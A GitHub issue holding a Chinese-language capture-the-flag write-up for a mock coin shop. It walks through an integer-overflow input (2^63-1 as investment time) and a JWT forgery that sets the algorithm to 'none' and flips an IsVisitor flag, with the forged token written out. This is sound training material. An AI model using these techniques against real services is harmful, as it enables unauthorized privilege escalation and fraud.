We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
题目链接:http://share-dmhy.two.moe:8081/
先随便注册一个账号,F12 查看发送的请求。
注册完登录进去,在商城的菜单下,我们可以看到一个 买买买 按钮,点击他发现请求的 url 为 http://share-dmhy.two.moe:8081/api/shop/getFlag,然后提示我们说 HDL 太少啦 根本买不起。
买买买
http://share-dmhy.two.moe:8081/api/shop/getFlag
HDL 太少啦 根本买不起
HDL -> 海底捞 XLK -> 小龙坎 DLY -> 大龙燚
HDL -> 海底捞
XLK -> 小龙坎
DLY -> 大龙燚
因此做题思路也就是凑够 2,000,000,000,000 HDL 即可获得 flag 吧....
2,000,000,000,000 HDL
在汇率目录下知道了三种 coin 的转换比例,在理财市场可以获得 coin,在 coin 市场可以进行兑换。
先把起始给的 5 份 HDL 兑换成 XKL,(因为理财市场只能使用 XKL)
这是 CTF,肯定不是让你好好理财得到那么多的 HDL。
在理财市场发现只能让你数字,猜应该是类型溢出,投资份数 那里有限制,但是 投资时间 没有限制。 int64 最大,从大往小试一下,2 ^ 63 - 1。
投资份数
投资时间
2 ^ 63 - 1 = 9,223,372,036,854,775,807
emmmmm,在投资时间输入 9,223,372,036,854,775,807,购买一份 XKL,购买成功,一份不够再来一份。
9,223,372,036,854,775,807
接着去 coin 市场将 XKL 换成 HDL,获得足够的 HDL,再去买 flag,提示你 访客用户不可购买商城商品。
其实在注册登录的时候我们发现他使用的 JWT Token 授权认证(loginToken)。 (第一次做题的时候思路弄错了,一上来就直接怼 JWT,想暴力获得签名,后来发现想多了,没必要那么做。 JSON Web Token 入门教程
其实在注册登录的时候我们发现他使用的 JWT Token 授权认证(loginToken)。
(第一次做题的时候思路弄错了,一上来就直接怼 JWT,想暴力获得签名,后来发现想多了,没必要那么做。
JSON Web Token 入门教程
通过 Chrome 插件获得 loginToken
loginToken = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJJc1Zpc2l0b3IiOjEsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0 . v1Woj-YM5BURaETyCJqmHKRFVxftAWPWr--XamaJDpU
通过 Google 发现 CTF JWT 一般都是绕过,有些是暴力签名,有些是修改 jwt 的算法。
将 JWT 第一部分的 HS256 算法改成 none,再重新 Base64 编码。
HS256
none
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 -- base64 decode --> {"alg":"HS256","typ":"JWT"} {"alg":"none","typ":"JWT"} -- base64 encode --> eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
将 JWT 第二部分 Base64 解码
eyJJc1Zpc2l0b3IiOjEsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0 -- base64 decode --> {"IsVisitor":1,"UserId":"dfQPHBLq","Username":"techial"}
根据之前提示的 访客用户不可购买商城商品,修改 IsVisitor 字段,改成 0,并重新 Base64 编码。
{"IsVisitor":0,"UserId":"dfQPHBLq","Username":"techial"} -- base64 encode --> eyJJc1Zpc2l0b3IiOjAsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0= (记得去掉 =
把两部分 Base64 合并起来,得到 loginToken,最后一个 . 要留着。
.
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJJc1Zpc2l0b3IiOjAsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0.
使用 Chrome 修改 cookie 插件修改 loginToken 字段,再次购买即可获得 flag。
The text was updated successfully, but these errors were encountered:
No branches or pull requests
题目链接:http://share-dmhy.two.moe:8081/
先随便注册一个账号,F12 查看发送的请求。
注册完登录进去,在商城的菜单下,我们可以看到一个
买买买
按钮,点击他发现请求的 url 为http://share-dmhy.two.moe:8081/api/shop/getFlag
,然后提示我们说HDL 太少啦 根本买不起
。因此做题思路也就是凑够
2,000,000,000,000 HDL
即可获得 flag 吧....在汇率目录下知道了三种 coin 的转换比例,在理财市场可以获得 coin,在 coin 市场可以进行兑换。
先把起始给的 5 份 HDL 兑换成 XKL,(因为理财市场只能使用 XKL)
在理财市场发现只能让你数字,猜应该是类型溢出,
投资份数
那里有限制,但是投资时间
没有限制。 int64 最大,从大往小试一下,2 ^ 63 - 1。emmmmm,在投资时间输入
9,223,372,036,854,775,807
,购买一份 XKL,购买成功,一份不够再来一份。接着去 coin 市场将 XKL 换成 HDL,获得足够的 HDL,再去买 flag,提示你 访客用户不可购买商城商品。
通过 Chrome 插件获得 loginToken
通过 Google 发现 CTF JWT 一般都是绕过,有些是暴力签名,有些是修改 jwt 的算法。
将 JWT 第一部分的
HS256
算法改成none
,再重新 Base64 编码。将 JWT 第二部分 Base64 解码
根据之前提示的 访客用户不可购买商城商品,修改 IsVisitor 字段,改成 0,并重新 Base64 编码。
把两部分 Base64 合并起来,得到 loginToken,最后一个
.
要留着。使用 Chrome 修改 cookie 插件修改 loginToken 字段,再次购买即可获得 flag。
The text was updated successfully, but these errors were encountered: